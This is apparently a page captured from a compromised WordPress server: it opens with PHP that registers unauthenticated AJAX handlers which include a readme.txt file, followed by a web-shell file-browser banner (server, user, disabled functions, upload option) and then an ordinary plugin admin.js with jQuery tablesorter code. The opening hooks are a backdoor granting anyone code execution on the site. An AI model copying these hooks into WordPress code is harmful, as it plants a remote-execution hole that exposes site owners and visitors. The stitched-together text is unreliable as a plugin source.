if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_bak/wp-content/plugins/lipostratings/js/admin.js
+function ($) {
    'use strict';

    $(document).ready(function() {

        $.tablesorter.addParser({
            id: 'checkbox',
            is: function(s) {
                return false;
            },
            format: function(s, table, cell, cellIndex) {
                var $t = $(table),
                    $tb = $t.children('tbody'),
                    $c = $(cell),
                    c, check,
                    resort = false; // resort the table after the checkbox status has changed

                if (!$t.hasClass('hasCheckbox')) {
                    
                    // update the select all visible checkbox in the header
                    check = function($t) {
                        var $v = $tb.children('tr:visible'),
                            $c = $v.filter('.checked');
                        $t.find('.selectVisible').prop('checked', $v.length === $c.length);
                    };

                    $t.addClass('hasCheckbox')
                        .bind('pageMoved', function() {
                            check($t);
                        })
                        // make checkbox in header set all others
                        .find('thead th:eq(' + cellIndex + ') input[type=checkbox]')
                        .addClass('selectVisible')
                        .bind('change', function() {
                            c = this.checked;
                            $tb.find('> tr:visible td:nth-child(' + (cellIndex + 1) + ') input')
                                .each(function() {
                                    this.checked = c;
                                    $(this).trigger('change');
                                });
                        })
                        .bind('mouseup', function() {
                            return false;
                        });
                    $tb.children('tr').each(function() {
                        $(this).find('td:eq(' + cellIndex + ')').find('input[type=checkbox]')
                            .bind('change', function() {
                                $t.trigger('updateCell', [$(this).closest('td')[0], resort]);
                                check($t);
                            });
                    });
                }
                // return 1 for true, 2 for false, so true sorts before false
                c = ($c.find('input[type=checkbox]')[0].checked) ? 1 : 2;
                $c.closest('tr')[c === 1 ? 'addClass' : 'removeClass']('checked');
                return c;
            },
            type: 'numeric'
        });
        $.tablesorter.addParser({
            id: 'spanTitleNumeric',
            is: function(s) {
                return false;
            },
            format: function(s, table, cell, cellIndex) {
                var $c = $(cell);
                return $c.find('span').attr('title');
            },
            type: 'numeric'
        });
        $.tablesorter.addParser({
            id: 'spanTitleText',
            is: function(s) {
                return false;
            },
            format: function(s, table, cell, cellIndex) {
                var $c = $(cell);
                return $c.find('span').attr('title');
            },
            type: 'text'
        });

        var $table = $('.lipostratings-tablesorter').tablesorter({
                theme: 'default',
                widgets: ['zebra'],
                sortList: [[1, 0]],
                headers: {
                    0: {
                        sorter: false
                    },
                    2: {
                        sorter: 'spanTitleText'
                    },
                    6: {
                        sorter: 'spanTitleNumeric'
                    }
                }
            })
            .addClass('hasFilters')
            .tablesorterPager({
                container: $(".lipostratings-tablesorter-pager"),
                size: 10,
                output: ' Seite {page} von {filteredPages} ({filteredRows} Einträge) ',
            });

        $('.lipostratings-tablesorter-search').quicksearch('.lipostratings-tablesorter tbody tr', {
            delay: 500,
            show: function () {
                $(this).removeClass('filtered');
                $table.trigger('pageSet');
            },
            hide: function () {
                $(this).hide().addClass('filtered');
                $table.trigger('pageSet');
            },
            onAfter: function () {
                $table.trigger('update.pager');
            }
        });
    });

}(jQuery);